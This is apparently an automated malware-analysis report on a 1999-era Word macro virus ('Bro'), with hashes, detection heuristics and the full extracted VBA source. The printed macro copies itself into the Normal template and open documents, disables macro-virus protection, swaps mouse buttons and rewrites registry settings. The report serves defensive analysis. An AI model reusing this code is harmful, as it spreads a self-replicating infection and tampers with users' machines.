Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f866149fd24ddd0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-01-04 17:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a3fc8b5a00e4d855ea847dee0ff64ffc SHA-1: 397d8ae03fc53f21cfa630f2f40f925ec27192c1 SHA-256: 0f866149fd24ddd0e599c19684895c25864f0be71e406781dd2554fdd38c9a0b
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro markers and VBA macros, including AutoOpen and Auto_Close functions, indicating malicious intent. The embedded VBA script explicitly states it's a 'Word Macro virus' and attempts to export a file named 'bro.sys' to 'c:\bro.sys' and import it into the Normal template and active document. It also contains a URL 'http://fly.to/dvc' which is likely used for downloading additional payloads.

Heuristics 7

  • ClamAV: Doc.Trojan.Bro-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bro-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False: Options.SaveNormalPrompt = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fly.to/dvc� In document text (OLE body)
    • http://fly.to/dvcIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5990 bytes
SHA-256: b8bfdff12f8b3b1e11b5b1f12ed683ddabdae34c72fa18ced676cb07557363ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
' This is my first try at a Word Macro virus
' I dont know if everything worked as planned but hell, I dont care :)
' Greetings to all my friends and the overall Virus community and
' Hacking community
' The Might
' http://fly.to/dvc



Public Declare Function SwapMouseButton Lib "user32" _
   (ByVal bSwap As Long) As Long

Sub AutoOpen()

On Error Resume Next

Application.DisplayAlerts = wdAlertsNone: Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = False: Options.SaveNormalPrompt = False

Set ad = ActiveDocument.VBProject.VBComponents
Set nt = NormalTemplate.VBProject.VBComponents

Const z = "c:\bro.sys"
Const n = "bro"

Application.VBE.ActiveVBProject.VBComponents(n).Export z

For i = 1 To nt.Count
    If nt(i).Name = n Then ni = 1
Next i

For i = 1 To ad.Count
    If ad(i).Name = n Then ai = 1
Next i

If ni = 0 Then nt.import z: NormalTemplate.Save

If ai = 0 Then ad.import z: ActiveDocument.SaveAs ActiveDocument.FullName

If Day(Now()) = 14 And Month(Now()) = 5 Then
        Msgbox "Happy birthday darlin'!" & vbcr _
        & "Hope we will be together for a long time" & vbcr _
        & "Love ya forever!" & vbcr _
        & "*kiss*" & vbcr _
        & "          - The Might for Ger."
   End If


SwapMouseButton &H2


Msgbox "You will find out that your best friends are your worst enemy's" & vbcr _
& "Dedicated to all my REAL bro's out there" & vbcr _
& "The bro macro by @ThE MiGhT@ with extraordinary good help from my bro jack twoflower"
Msgbox "VX meeting '99 Amsterdam" & vbcr & vbcr _
& "Darkman" & vbcr _
& "B0z0" & vbcr _
& "Rajaat" & vbcr _
& "Benny" & vbcr _
& "F0re" & vbcr _
& "Spysend" & vbcr _
& "Itchy" & vbcr _
& "Reptile" & vbcr _
& "Wintermute" & vbcr _
& "The Might" & vbcr _
& "Midnyte" & vbcr _
& "Rhape79" & vbcr _
& "Eddow" & vbcr _
& "Starzero" & vbcr _
& "Gigabyte" & vbcr _
& "Griyo and his girl" & vbcr & vbcr _
& "Tnx bro's! It was kewl!"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\software\Microsoft\windows\currentversion\winlogon", "LegalnoticeCaption") = "I'm Bro! dabadiedabadiedabadie Author: The Might"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\winlogon", "LegalNoticeText") = "VX meeting '99 Amsterdam"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDeletePrinter") = "1"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The Might"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "Easy Times"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "ProductName") = "Micro$hit 98 - The ultimate bug"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "Version") = "Winbug 98"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\desktop", "Wallpaper") = "c:\windows\setup.bmp"


End Sub
                                                                                                                                                            
Sub AutoClose()
Msgbox "Are those your eyes. Is that your smile? I have been looking at you forever, and still I haven't saw you before" & vbcr _
& "Are these your hands. Holding mine. Now I wonder how I could been so right." & vbcr _
& "And for the first time, I am looking in your eyes. For the first time I see who you are" & vbcr _
& "I can't believe what I see, when you're looking back at me" & vbcr _
& "Now I understand what love is for the first time" & vbcr _
& "                        - The Might for Ger."
Msgbox "You're in my heart your in my soul" & vbcr _
& "You'll be mij breath shall I grow old" & vbcr _
& "You're my lover you're my best friend" & vbcr _
& "You're in my soul" & vbcr _
& "                        - The Might for Ger."

SwapMouseButton H2
End Sub

Sub FileSave()
Msgbox "I didn't know, what day it was when you walked into the chatroom" & vbcr _
& "I said hello, unnoticed. You said goodbye too soon" & vbcr _
& "I really must confess right here. The attraction was pure love" & vbcr _
& "A lady with a tight black jack tried to change my point of view" & vbcr _
& "Her lips were very hursed, but my heart cried out for you" & vbcr _
& "                       - The Might for Ger."

End Sub
Sub FileSaveAs()
Msgbox "Saturday something has happend to me" & vbcr _
& "As I was having my cup of tea" & vbcr _
& "Saturday I was really depressed" & vbcr _
& "I was utterly intensually stressed" & vbcr _
& "Do you know you made me cry?" & vbcr _
& "Do you know you made me die?" & vbcr _
& "And the thing that gets to me" & vbcr _
& "Is you never really see" & vbcr _
& "And the thing that freaks me out" & vbcr _
& "Is I will always be in doubt" & vbcr _
& "It is just a lovely thing that we have" & vbcr _
& "The animal instinct"
Msgbox "So take my hands and come with me" & vbcr _
& "We will change reality" & vbcr _
& "So take my hands and we will pray" & vbcr _
& "They won't take you away" & vbcr _
& "They will never make me cry" & vbcr _
& "They will never make me die" & vbcr _
& "And the thing that gets to me" & vbcr _
& "Is you never really see" & vbcr _
& "And the thing that freaks me out" & vbcr _
& "Is I will always be in doubt" & vbcr _
& "The animal instinct in me"
End Sub
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub FileTemplates()
End Sub